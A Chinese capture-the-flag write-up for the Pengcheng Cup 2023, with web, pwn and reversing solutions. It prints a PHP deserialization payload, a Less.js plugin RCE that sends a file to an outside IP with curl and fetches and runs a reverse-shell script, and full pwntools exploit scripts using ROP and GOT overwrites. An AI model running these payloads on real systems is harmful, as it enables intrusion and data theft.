鹏城杯2023wp
介绍
一年一度的在深圳鹏城实验室的暑假到秋季举办的线下比赛,去年比赛以渗透赛为主,有非常趣味的体验,今年则增加了很多工控,实车,5G的场景
这个是线上比赛Aurora的wp,最终线上比赛的成绩,【aurora】和【大家好我是超威蓝猫】都晋级了,可以领到每人1k的低保,好开心!
web-web1
H::desturct->H::welcome->Hacker::toString
pop=O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D
web-simple-rpc
报错类型像这个
https://blog.csdn.net/jiujiuyaokan/article/details/9146941
less.js
https://www.softwaresecured.com/exploiting-less-js-to-achieve-rce/
vps放一个cmd.js
functions.add('cmd', function(val) {
return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});
find_rpc?less=%40plugin%20%22http%3A%2F%2F8.129.42.140%3A3307%2Fcmd.js%22%3B%0Abody%20%7B%0Acolor%3A%20cmd('curl -T rpc.js <http://8.129.42.140:1234>')%3B%0A%7D
可以rce了,试图反弹shell
本地写个shel.sh(反弹shell payload)
curl -o /tmp/thai http://8.129.42.140:3307/shel.sh
bash /tmp/thai
最后用/readflag
web-http
扫目录扫到/swagger-resources
[{"name":"default","url":"/v3/api-docs","swaggerVersion":"3.0.3","location":"/v3/api-docs"}]
有个路由
HTTP/1.1 200
Content-Type: application/json
Date: Sat, 04 Nov 2023 01:18:30 GMT
Connection: close
Content-Length: 704
{"openapi":"3.0.3","info":{"title":"Challenge","description":"Proxy API","version":"1.0"},"servers":[{"url":"http://172.10.0.3:8080","description":"Inferred Url"}],"tags":[{"name":"Proxy","description":"Proxy Controller"}],"paths":{"/proxy/url":{"get":{"tags":["Proxy"],"summary":"proxy for the url which submitted by user","operationId":"proxyUsingGET","parameters":[{"name":"url","in":"query","description":"url","required":false,"style":"form","schema":{"type":"string"}}],"responses":{"200":{"description":"OK","content":{"*/*":{"schema":{"type":"string","format":"byte"}}}},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}}}}},"components":{}}
禁用了很多协议
但是8080应该是javaweb,想起之前一个文件读取的漏洞
/proxy/url?url=url:file:///flag?html
misc-我的壁纸
misc-流量深处
pwn-silent
利用Magic Gadget和CSU执行函数。先单次读入较长的ROP链,再完成ORW的调用链,即可输出Flag。
# coding: utf-8
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# sh = process(['./silent'])
sh = remote('0.0.0.0', 9999)
elf = ELF('./silent')
libc = ELF('./libc.so.6')
def func(addr1, addr2):
res = addr1 - addr2
if res < 0:
res += 0x100000000
return res
# gdb.attach(sh, 'b *0x400949')
# gdb.attach(sh, 'b *0x4008f2')
sh.send(flat({
0x40: 0x601800,
0x48: 0x4008dc,
0x100: {
0x0: b'/flag\x00',
# 0x48: flat(0x40095a, func(libc.sym['open'], libc.sym['_IO_2_1_stdout_']), 0x601020 + 0x3d, 0, 0, 0, 0, 0x4007e8,
# 0x40095a, 0, 2, 0x601020, 0x6017c0, 0, 0, 0x400940)
0x48: [0x40095a, func(libc.sym['read'], libc.sym['_IO_2_1_stdout_']), 0x601020 + 0x3d, 0, 0, 0, 0, 0x4007e8,
0x40095a, 0, 1, 0x601020, 0, 0x601800, 0x1000, 0x400940]
},
0x200: {
0x80: [0x40095a, func(libc.sym['open'], libc.sym['read']), 0x601020 + 0x3d, 0, 0, 0, 0, 0x4007e8,
0x40095a, 0, 1, 0x601020, 0x6017c0, 0, 0, 0x400940,
0x40095a, func(libc.sym['read'], libc.sym['open']), 0x601020 + 0x3d, 0, 0, 0, 0, 0x4007e8,
0x40095a, 0, 1, 0x601020, 3, 0x601700, 0x30, 0x400940,
0x40095a, func(libc.sym['write'], libc.sym['read']), 0x601020 + 0x3d, 0, 0, 0, 0, 0x4007e8,
0x40095a, 0, 1, 0x601020, 1, 0x601700, 0x30, 0x400940]
}
}))
sh.interactive()
pwn-Auto_Coffee_machine
change_default
函数内存在对copy_left_coffee
数组的整数溢出漏洞。结合程序的逻辑,我们可以修改GOT表,最终执行system("/bin/sh")
以Get Shell。
# coding: utf-8
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# sh = process(['./pwn'])
sh = remote('0.0.0.0', 8888)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'N')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'N')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'N')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'N')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'N')
sh.sendlineafter(b'>>>', b'4421')
sh.sendafter(b'please input the admin password\n', ''.join(chr(i - 2) for i in b'lwuv\"ryp\"kv').encode().ljust(0x10, b'\x00'))
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'3')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'N')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'N')
sh.sendlineafter(b'>>>', b'4421')
sh.sendafter(b'please input the admin password\n', ''.join(chr(i - 2) for i in b'lwuv\"ryp\"kv').encode().ljust(0x10, b'\x00'))
sh.sendafter(b'>>>', b'2')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'input your content\n', flat(0x3f3f3f3f).ljust(0x80, b'\x00'))
sh.sendafter(b'>>>', b'3')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'Y')
sh.sendlineafter(b'Ok,please input what you need in coffee\n', b'\x00' * 0x80)
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'Y')
sh.sendlineafter(b'Ok,please input what you need in coffee\n', b'\x00' * 0x80)
sh.sendlineafter(b'>>>', b'4421')
sh.sendafter(b'please input the admin password\n', ''.join(chr(i - 2) for i in b'lwuv\"ryp\"kv').encode().ljust(0x10, b'\x00'))
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'2')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'input your content\n', flat(0x4063c0).ljust(0x80, b'\x00'))
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'2')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'4')
sh.sendafter(b'input your content\n', flat(elf.got['puts'], 0x406300, elf.got['free'], 0x4062f0).ljust(0x80, b'\x00'))
sh.sendafter(b'>>>', b'2')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'3')
sh.sendafter(b'input your content\n', flat(elf.plt['puts']))
sh.sendafter(b'>>>', b'3')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'1')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'N')
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print('libc_base:', hex(libc_base))
libc.address = libc_base
sh.sendlineafter(b'>>>', b'4421')
sh.sendafter(b'please input the admin password\n', ''.join(chr(i - 2) for i in b'lwuv\"ryp\"kv').encode().ljust(0x10, b'\x00'))
# gdb.attach(sh, 'b *0x401dc2')
# gdb.attach(sh, 'b *0x4013a1')
sh.sendafter(b'>>>', b'2')
sh.sendafter(b'>>>', b'1')
sh.sendafter(b'>>>', b'3')
sh.sendafter(b'input your content\n', flat(libc.sym['system']))
# gdb.attach(sh, 'b *0x401905')
sh.sendafter(b'>>>', b'3')
sh.sendlineafter(b'>>>', b'1')
sh.sendlineafter(b'input the id of what coffee you want to buy\n', b'3')
sh.sendlineafter(b'Do you want to add something?Y/N\n', b'Y')
sh.sendlineafter(b'Ok,please input what you need in coffee\n', b'/bin/sh\x00')
sh.interactive()
re-安全编程
将sub_9C70()中的break nop掉
.text:0000000000009E9B 39 44 24 50 cmp [rsp+0D8h+var_88], eax
.text:0000000000009E9F 0F 85 BE 00 00 00 jnz loc_9F63
然后100次1就行
babyRe
找到加密:
写出脚本:
from Crypto.Util.number import *
from z3 import *
s = Solver()
flag = [BitVec("flag%d"%i,8) for i in range(32)]
rand_index_re = 192
rand_index = 0
rand_num_list = [0x4df2,0x7125,0x3739,0xde6,0x2755,0x7a13,0x7e6a,0x2ea4,0xd66,0x6d41,0x39ff,0x2cc9,0x2f8f,0x233d,0x6bde,0x1fef,0x2f12,0x4018,0x5065,0x194e,0x4555,0x106b,0x575c,0x8e0,0x247c,0x3798,0x2927,0x7dc4,0x463d,0x1352,0xc40,0x45e1,0x1cf0,0x7860,0x3ee5,0x30cb,0x5ae6,0x2c9d,0x190e,0x79ea,0x43fc,0x4244,0xaa2,0x1dd9,0x3d70,0x386a,0x49ea,0x1f0c,0xff3,0x4cc,0x4646,0x7db6,0xfff,0x6acb,0x331f,0x66e9,0x206a,0x43b5,0x3f1c,0x5eff,0x433c,0x1c46,0x4b99,0x6b3a,0x2cbe,0x4b6f,0x3855,0x7ea7,0xcd3,0x6655,0x176a,0x2e48,0x28b,0x359d,0x5d83,0x7071,0x6df6,0xfe7,0x6249,0x6b73,0x1436,0x3d98,0x451e,0x1778,0x49d8,0x49dd,0xa0e,0x37ae,0x1765,0x64ed,0x302,0x6ea8,0xc33,0x3b8e,0x5937,0x7201,0x3381,0x67da,0x4aef,0x2142,0x5fc3,0x5f43,0x7167,0x405,0x403b,0x1d5,0x2308,0x735b,0x74c9,0x2ebb,0x45e1,0x726c,0x1404,0x205,0x2655,0x7a5d,0x5789,0x1fa8,0x2611,0x3d77,0x6294,0x2fc6,0x5742,0x2585,0x56cd,0x7030,0x5804,0x117d,0x2b64,0x7f2a,0x21d,0x1663,0x7a5f,0x436e,0x42eb,0x476b,0x3833,0x1573,0x2f9b,0x495e,0x992,0xdee,0x299c,0x353e,0x2b85,0x1d9a,0x2753,0xe2d,0x21ba,0x5234,0x7511,0x4e8b,0x1f1f,0x6cca,0x242,0x505f,0x5cb0,0x2d36,0xee7,0x14f8,0x528c,0x76e6,0x4d46,0x2fd4,0x74f,0x32de,0x4bdf,0x58c0,0x699c,0x12ff,0x3ba3,0x6941,0x67f9,0x1a89,0x6661,0x4933,0x3ae0,0xfdf,0x6981,0xeb0,0x1512,0x3b8a,0x8f4,0x5533,0x2e2f,0x1881,0x2e6b,0xffd,0x5b84,0x59a7,0x68c7,0x5bb8,0x2b24,0x6896,0x7fd1,0x135b,0x353a,0x419b,0x702c,0x2c4d,0x179d,0x5101,0x6388,0x1dcd,0x4fa5,0x3593,0x7917,0x5791,0x663e,0xc5c,0x7245,0xbad,0x223a,0x29b1,0x17a4,0x4fb7,0x34ec,0x6372,0x6a25,0x5929,0x14f2,0x508c,0x748e,0x5906,0x7b52,0x21c2,0x5128,0x3ac1,0x36c9,0x77ae,0x37b8,0x4a5a,0x495f,0x5a02,0x27b1,0x5ca,0x43f,0x3414,0x2a8,0x1da1,0x15c6,0x7a9a,0x2b08,0x68ee,0x3dda,0x5eb1,0x7b07,0x505f,0x1c7d,0x3225,0x27d9,0x74a9,0x4ea1,0x60ec,0x6523,0x142a,0x4d3e,0x23f3,0x5cb2,0x73cd,0x42a3,0x511e,0x4e6d,0x4f2f,0x4a0a,0x6c8a,0x6c88,0x1400,0x4d6e,0x5f15,0x47fb,0x6cab,0x75a1,0x7620,0x6133,0x5e39,0x6099,0x1093,0x3107,0x7d72,0x120a,0x1d22,0x3ded,0x7f46,0x523b,0x4dcf,0x116e,0x286c,0x6f12,0x24b0,0x21d7,0x6049,0x1370,0x3df3,0x432,0x6b13,0x28c5,0x7b1f,0x7a74,0xf36,0x76db,0x739c,0x31f8,0x29f7,0x75f6,0x4e76,0x462c,0x7757,0x71f,0x695e,0x5b8b,0x113a,0x6bd,0x70f2,0x66cb,0x69c8,0x6d65,0x4e3e,0x7457,0x4514,0x72f3,0xd82,0x3ff,0x75fb,0x67da,0x2235,0x4cee,0x6250,0x38b8,0x2c4b,0x7ddd,0x1236,0x502e,0x22b4,0x4d87,0x4ecc,0x4aee,0x725,0x6f5d,0x1410,0x3215,0x71a,0x407a,0x59fd,0x2fbc,0x2e1c,0x40d9,0x78f7,0x71c9,0xd3f,0x2cc6,0x2d69,0x2f0b,0x7bf0,0x4a92,0x7ead,0x287,0x55ed,0x408b,0xd2c,0x110c,0x5a95,0x72b,0xbc6,0x2d0e,0x1162,0x4b90,0x6874,0x6cb1,0x57b4,0x562c,0x682b,0x6623,0x7bd0,0x49be,0x3a04,0x62f,0x928,0x4e81,0x459b,0x350f,0x29dd,0x7da3,0x38b4,0x3d82,0x4182,0x20f8,0x1825,0x2a1f,0x2523,0x1af0,0x57f0,0xce9,0x1485,0xac7,0x3eaf,0x6523,0x58b0,0xfb,0x1835,0x1766,0x2bab,0x5803,0x7b72,0x2bf0,0x4d87,0x53e,0x2797,0x473f,0x6a9e,0x762a,0x3c7b,0x10df,0x371d,0x4dd6,0x523d,0x7c80,0x63c0,0x169a,0x342c,0x294b,0x4fdd,0x3c05,0x42e3,0x4b76,0x1ca4,0x6117,0x41b8,0x5416,0x5a5,0x66b0,0x1358,0x4b35,0x2293,0x3649,0x29ab,0x1025,0x7647,0x24e2,0x2cfe,0x7413,0x6f07,0x23b,0x1e60,0x62df,0x3c09,0x2847,0x794c,0xe2c,0x1c33,0x1ede,0x1889,0x4eb3,0xa25,0x27b2,0x624f,0x2fdc,0x6979,0x4684,0x7fab,0x598f,0x1949,0x1998,0x2324,0x4c47,0xff2,0x1666,0x229f,0x2369,0x6418,0x7e92,0x6880,0x51d5,0x66eb,0x211e,0x12,0xcba,0x33a8,0x3bdf,0x4129,0x58ae,0x5862,0x112d,0x5f06,0x6cfe,0x7c02,0x5df,0x5e7a,0x6142,0x258d,0x5b77,0x374f,0x5935,0x8a5,0x5a99,0x24e3,0x22c4,0x7b53,0x1c2,0x6a16,0x7a65,0x7903,0xc36,0xc66,0x69aa,0x56d0,0x653a,0x4a59,0x7416,0xd02,0x5b84,0x511c,0x62f,0x39d5,0x28f0,0x7569,0x5ad4,0x417d,0x2274,0x73ad,0x4ad1,0x2f66,0x2456,0x7b6b,0x3ab1,0x3cc0,0xe9c,0x9db,0x1ad4,0x203b,0x65c5,0x57d8,0x2dc1,0xb0f,0x6bb6,0x5ef9,0x8bc,0x7740,0x44f7,0x39fd,0x29c,0x2b20,0x7e1f,0x646c,0x4d7,0x1615,0x58d,0x1d7b,0x72df,0x6a9c,0x6d59,0x7230,0x1bb1,0x198e,0x98a,0x32c8,0x69aa,0x12a3,0x3e8a,0x5756,0x449d,0x6e34,0x13d7,0x17ac,0x5a24,0x6445,0x5efa,0x3a7e,0x4033,0x34c2,0x1abd,0x5fc5,0x25f3,0x6509,0x3e99,0x4a62,0x6cd,0x76a9,0x2a6e,0x6d04,0x13c4,0x7b69,0x7a77,0x3e4b,0x4709,0x2a8d,0x577c,0x182e,0x55c9,0x5b54,0x1749,0x269a,0x744a,0x8c5,0x4160,0x295b,0x2036,0x42ab,0x4beb,0xd40,0x6537,0x2fdf,0x24f4,0x207a,0x4fc3,0x5c5,0x5bd8,0x6646,0x23a,0x1919,0x7ef9,0x4dcc,0x202e,0x6bec,0x1b4,0x5046,0x401,0x5ce9,0x3e93,0x3a64,0x72b6,0x5bdd,0x69c3,0x24ef,0x4201,0x4777,0x7c8,0x60ae,0x24a0,0x584c,0x3c6f,0x5986,0x10ee,0x3d1d,0x604,0x34e4,0x75b6,0x4c5d,0x38c6,0x2f60,0x3145,0x6eee,0x4e98,0x7d9a,0x7ec3,0x282c,0x5ef9,0x3468,0x4dc3,0x5f2c,0x5336,0x7c34,0x3818,0x4d45,0x2ade,0x139f,0x9ea,0x35d0,0x6477,0x656a,0x100a,0x4b2d,0x5e6f,0x3597,0x2083,0x6507,0x4456,0x29cb,0x1172,0x6bd8,0x5c4a,0x30f7,0x1217,0x1daf,0x48b2,0xe37,0x1a2b,0x1031,0x122f,0xafb,0x6374,0x13dd,0xdcf,0x1464,0x2198,0x5c95,0x7384,0x47f1,0x6c2f,0x135a,0x38d5,0x335a,0xf1b,0x3558,0x3d4,0x4bbc,0x351c,0x6422,0x4a50,0x5ff7,0x209f,0xb3e,0x714b,0xa54,0x66d7,0x7ee4,0xae,0x656c,0x610f,0x7803,0x3f3c,0x845,0x483f,0x1185,0x4ac5,0xdbd,0x2edd,0x2ad4,0x9c,0x2b2c,0x4cf5,0x539d,0x4a4b,0x1a45,0x527c,0x24d4,0x2284,0x5a3d,0x33e2,0x2af8,0x665b,0xc30,0x24e6,0x4598,0x46b3,0x6ec0,0x35ae,0x2016,0x6df6,0x3cff,0x4617,0x27ab,0x2e0a,0x748f,0x434a,0x22ab,0x4a80,0x4707,0x6390,0x4d0a,0x330e,0x3a99,0x5467,0x1e20,0x423f,0x3df2,0xed5,0x1ba9,0x5469,0x3362,0x45fc,0x5e10,0x4ae0,0x373d,0x23ef,0x29ed,0x4f69,0x2581,0x48c4,0x42cc,0x6bf1,0x22b8,0x3fea,0x5b30,0x4a7f,0x2c20,0x5fbd,0x45d7,0x3168,0x730a,0x4758,0x4c40,0xfc2,0x780,0x6eaa,0x4e6b,0x2e1a,0x162a,0x7ccd,0xfe0,0x576a,0x3d73,0x5892,0x55f2,0xe45,0x3de7,0x2761,0x3b45,0x2255,0x9df,0x2e40,0x5c8e,0x3a07,0x7861,0x4931,0x429a,0x2485,0x1f42,0x6cc1,0x2d92,0x7e5,0x188d,0x65de,0x257d,0x3f9f,0x3729,0x4be9,0x7406,0x7f45,0x6eb5,0x590c,0x6b7f,0xd6e,0x72b7,0x1cce,0x1f27,0x2af4,0x50f6,0x3ce4,0x70a8,0x7a5f,0xb24,0x384a,0x16e4,0x7ba0,0x73c0,0x6093,0x1f1,0x7003,0x523b,0x7d7e,0x4062,0x3a5f,0x125a,0x4ec9,0x49c9,0xf8f,0x2db,0x604a,0x527a,0xb26,0x675b,0x643b,0xc91,0x7c5f,0x6177,0x7d6,0x7a36,0x7f53,0x7532,0x7622,0x351f,0x366f,0x2c96,0x7d0c,0x4f57,0x3824,0x1e9f,0x8b9,0x313e,0x4e0,0x5d54,0x691b,0x18d2,0x193e,0xf37,0x15c2,0x1e2c,0x707a,0x37df,0x63f5,0x614d,0xb27,0x73e4,0x6302,0x451b,0x4e24,0x2bfb,0x52d2,0x5ba7,0x4dcc,0x362,0x68c0,0x67b1,0x596d,0x57f,0x56ab,0x176e,0x5afb,0x56c4,0x484a,0x5c89,0x5f06,0x6cd5,0x4ac0,0x567,0x58ea,0x11ed,0x5271,0x7baf,0x7746,0x377e,0x5313,0x4c0a,0x1caf,0x5c17,0x1e08,0x5b27,0x50a5,0x88b,0x7aeb,0x6c03,0x3cc5,0x2850,0x2e69,0x5b67,0xa41,0x4125,0x6352,0x34b2,0x338e,0x4df7,0x29ef,0x3d8,0x1e5c,0x4106,0x197,0x8ab,0x11cb,0x7144,0x207d,0x2f59,0x5cdc,0x76fd,0x6dcc,0x7236,0x4125,0x3bbd,0x61f6,0x8bc,0x75ca,0x416f,0x4148,0x7d0,0x56a8,0x64c2,0x64c3,0x5747,0x13d3,0x1ed1,0x527,0x20a9,0x7543,0xa02,0x3c50,0x1b35,0x6ca,0x2e2e,0x30c5,0x5925,0x4049,0x5803,0x1f8f,0x7a33,0x7e24,0x7fa7,0x3847,0x675b,0x5df3,0x29e,0x7f73,0x7be3,0x537b,0x34ee,0x2b13,0x3f99,0x9dc,0xd81,0x2d76,0x165c,0x650b,0x71ca,0x6252,0x8dd,0x3783,0x64ac,0x1214,0xaa7,0x38,0x1c97,0x3f75,0x615d,0x44cd,0x44f4,0x734e,0x1143,0x5c06,0x6ec3,0x7aad,0x7300,0x3c80,0x7482,0x4b28,0x56a3,0x23a0,0x5551,0x171,0x57e3,0x28c9,0x4b55,0x2e2b,0x47ab,0x10d2,0x215a,0x64fc,0x4ed6,0x75b7,0xbbc,0x41e4,0x2e37,0x168e,0x887,0x58cd,0x3fdc,0x63bd,0xadd,0x4363,0x1d93,0x1b6b,0x7598,0x4125,0x10ae,0xa34,0x2931,0x1dbc,0x2f04,0x4421,0x28e1,0x518c,0x4938,0x69d7,0x1b05,0x108a,0xe3e,0x4e0e,0x28c7,0x3b4d,0x81a,0xf45,0xfb,0x6667,0x55eb,0x79b4,0x247,0x6bf5,0x4729,0x4583,0x5087,0x3b75,0x3c2b,0x539,0x596f,0x5bd8,0x6fec,0x5877,0xc72,0x53d8,0xf0e,0x36e6,0x49e3,0x6c8c,0x401f,0x676e,0x4d5b,0x23a,0x11c,0x77a9,0x175a,0x576c,0x7e33,0x4797,0x1a31,0x1e46,0x45cd,0x7d93,0x2e1f,0x2c16,0x7dcc,0x7685,0x10ba,0xb2d,0x7e11,0x65a,0x7390,0x5eee,0x7442,0x1cb1,0x5e0f,0x4e24,0x74ca,0x21d7,0x66a2,0x6799,0x1d21,0x1ff6,0x71d,0x34e4,0x2b4d,0xc89,0x105b,0x6f82,0x2ea9,0x4613,0x125,0xc28,0x35e5,0x1a11,0x4456,0x1058,0x1e4e,0x672d,0x1a3d,0x6633,0x684f,0x2fb4,0x3143,0x228e,0x3538,0x304a,0x31ce,0x7147,0x523f,0x4edd,0x4165,0x1bd9,0x74c5,0x75d7,0x4114,0x5e2f,0xbda,0x2f98,0x4b12,0x7db6,0x4b02,0x1623,0x33a1,0x56b6,0x5239,0x6b17,0x1136,0x53e2,0x1736,0x6be2,0xfda,0x42e,0x73ed,0x3631,0x13d0,0x42e0,0x7e57,0x50aa,0x6f78,0x25ea,0xd75,0x2bde,0x3073,0x2677,0xf93,0x2f79,0x4808,0x37c4,0x15ca,0x27bc,0x12c6,0x4031,0x38c8,0x272e,0x36b,0x2898,0x3ad4,0x308e,0x7505,0x75dd,0xb0c,0x3d0b,0x6857,0x20c6,0xdf1,0x72b8,0x307e,0x200d,0x4f26,0x1f3a,0x52d5,0x58b4,0x75,0x4ac3,0x1e15,0x6899,0x6a13,0x7745,0x3cc1,0x7f4a,0x3025,0x5fdf,0x46c1,0x391a,0x1182,0x4c9c,0x164c,0x3075,0x3bb,0x4e5c,0x640c,0x3970,0x5059,0x7712,0x6e7d,0x7ba4,0x1765,0x6230,0x3097,0x5e3d,0x5b2e,0x2160,0x6bac,0x7a4e,0x7946,0x6175,0x893,0x768,0x34ce,0x5ba1,0x1406,0x766a,0x35f3,0x66e8,0x5a49,0x2e9a,0x22b9,0x3dd4,0x660c,0x20f5,0x34f8,0x4c6b,0x6693,0x25c4,0x71a3,0x1a5e,0x4114,0x5870,0x6550,0x2583,0x5161,0x6597,0x9f5,0x4085,0x1dc6,0x7f5f,0x39f0,0x49db,0x235,0x6c0b,0x544b,0x4ef6,0x16a0,0x62cc,0x763d,0x6fbf,0x54a7,0x2ad9,0x6df4,0x1640,0x4073,0x30c1,0x4a91,0x56a1,0x18e2,0x600,0x2d75,0xb57,0x52e4,0x7ed1,0x40bb,0x198,0x6425,0x6244,0x7705,0x4a12,0x20ec,0x6090,0x787c,0x1dc,0x3143,0x43aa,0x6112,0x27ad,0x6158,0xe17,0x340b,0x514c,0x5123,0x7bfe,0x28bb,0x5547,0x4749,0x1a81,0x3491,0x3ce8,0x2b40,0x694d,0x7654,0x1265,0x6ab4,0x3a70,0x66ad,0x5f57,0x4e2a,0x446c,0x71e6,0x6f6d,0xe4,0x1a89,0x5ef1,0x2b62,0x5004,0x7f6f,0x27ac,0x202c,0x64f4,0x45f3,0x2663,0x677,0x7f04,0x3432,0x3c96,0x5e51,0x7055,0x1cdc,0x56fd,0x7327,0x61f7,0x22d3,0x72ca,0x5bf0,0x234e,0x5af5,0x82e,0x4ba8,0x8ba,0x4035,0x7e1e,0x4600,0x1d76,0x2df1,0xb57,0xc54,0x2cc1,0x5480,0x28a0,0x56dd,0x663c,0x5c0a,0x784f,0x2e28,0x2194,0x299c,0x470e,0x78c6,0x560,0x7a7b,0x9df,0x1146,0x154d,0x49b9,0x7d5e,0x7860,0x6b78,0x3407,0x4a46,0x7773,0x211b,0x4dca,0x5337,0x4732,0x2a6c,0x1f71,0xfb7,0xe99,0x29c2,0x3c05,0x1876,0x4e27,0x7dfa,0x2601,0x48d6,0xb47,0x1019,0x7665,0x19aa,0x500f,0x2432,0x7a06,0x193e,0x532c,0x318b,0x3928,0x2499,0x5c1d,0x5fb,0x1d4e,0x45fe,0x37a0,0x3896,0x2951,0x5cb9,0x506a,0x2f8d,0x77b0,0x7218,0x401b,0x3d4f,0x7327,0x5fb7,0x6c71,0x18f4,0x7d83,0x2b00,0x4bc,0x35dc,0x78b4,0x39f3,0x7392,0x3e93,0x6624,0x4523,0x18c3,0x36f8,0x1047,0x2b01,0x5f8f,0x99f,0x7274,0x85d,0x517,0x473,0x52f3,0x3a2a,0x2312,0x8a0,0x4357,0x2c82,0x52c1,0x71b0,0x7b0d,0x1aea,0x7c25,0x77f3,0x4036,0x25d6,0x256f,0x1225,0x52b2,0x6170,0x56b8,0x1a4b,0xd7d,0x4195,0x65f2,0x39de,0x323f,0x720,0x3f1f,0x612b,0x131e,0x126c,0x7cc1,0x4dfa,0xed7,0x3f14,0x6491,0x656e,0x130d,0x2cfd,0x1c73,0x652c,0x18e1,0x1a97,0x2baa,0x2fbf,0x4fc2,0x345f,0x1c48,0x383c,0x6a86,0x7da9,0x50e9,0x5121,0x42ba,0x369c,0x62a1,0x6283,0x4637,0x637e,0x1b33,0x4b69,0x62f6,0x5932,0x5f84,0x7273,0x6526,0x72fe,0x1e4f,0x49bf,0x7b7b,0x5592,0x1719,0x4a0c,0x55c8,0x6346,0xd68,0x2920,0x11d0,0x45a4,0x3c30,0x4f68,0x6a5a,0x3026,0x1d8e,0x50df,0x5c83,0x4040,0x5ab8,0x6d30,0x3758,0x1ea1,0x7835,0x5b1f,0x49a4,0x45b7,0x1249,0x6325,0x2207,0x1171,0x3db4,0xd5a,0x1548,0x7c48,0x609c,0x6699,0x7eec,0x2d80,0x17c7,0x20de,0x7008,0x3cab,0x7c0d,0x12f2,0x4053,0x4e70,0x5c0d,0x5b4b,0x357f,0x6e8a,0x3e20,0x2a2d,0x34ca,0x4b13,0x3e8b,0x7716,0x32d0,0x3503,0x1df9,0x2559,0x55a3,0x9f4,0x1428,0x5c09,0x7d1d,0x6b28,0x3ae2,0x1518,0x2575,0x65cc,0x252f,0x27c0,0x5811,0x707e,0x76c9,0x5222,0x1e9b,0x620e,0xfd0,0x62e,0x2c57,0x4581,0x20bf,0x7dc2,0x31b4,0x2f5c,0x3a9f,0x5a16,0xe21,0x781f,0x2f7a,0x5257,0x5421,0xf,0x5713,0x3592,0x53a2,0x6038,0xbd4,0x43d4,0x1e8b,0x2cb3,0x7408,0x2290,0x3b94,0x2c25,0x6b4a,0x7040,0x7b5a,0x2888,0x203d,0x3b4f,0x23b3,0x3d2e,0x3a7e,0x6037,0x653e,0x4602,0x1cd7,0x12e7,0x4f3f,0x5412,0x17b6,0x1767,0x35aa,0x4b4a,0x1fdd,0x6dbe,0x3d7e,0xd82,0x5d5a,0x7514,0x354,0x56bc,0x26ba,0x4a14,0x1038,0x2ea6,0x3c7a,0x6494,0x10b7,0x1367,0x58be,0x3878,0x239,0x4197,0x6745,0x5dd3,0x4a92,0x3d8f,0x799d,0x450,0x6dd3,0x1e4,0x4b93,0x35d1,0x5666,0x772e,0x6bee,0x2c55,0x635a,0x190e,0x5d5d,0x3f1f,0x30fb,0x6c6f,0x43ad,0x2b15,0x4fa6,0x2b0b,0x713f,0x3a66,0x5cdb,0x4831,0x68ba,0xf6f,0x3294,0x32c6,0x26fd,0x16e0,0x20d5,0x788b,0x4958,0x651a,0x6585,0x2e9d,0x63fb,0x2dc,0x567c,0x4342,0x1cae,0x6d1f,0x71dd,0x1ce2,0x5dc3,0x4c3e,0x48a6,0x2a54,0x3549,0x265a,0x7785,0x485c,0x3483,0x10fd,0x21ee,0x2071,0x6399,0x25fd,0x236a,0x64c3,0x1d8c,0x3fa4,0x6b32,0xd7c,0x686f,0x400d,0x35fc,0x7b46,0x1dd5,0x67d1,0x1a15,0x230e,0x7786,0x7fe4,0x19b0,0x2708,0x5476,0x5ab9,0x2f7e,0xf4,0x49f7,0x70ad,0x97e,0x219f,0x552d,0x1ba2,0x6617,0x29ac,0x40c2,0x35ea,0x4764,0x1f94,0x12dc,0x2068,0x70cf,0x46ec,0x174c,0x73f1,0x62e1,0x7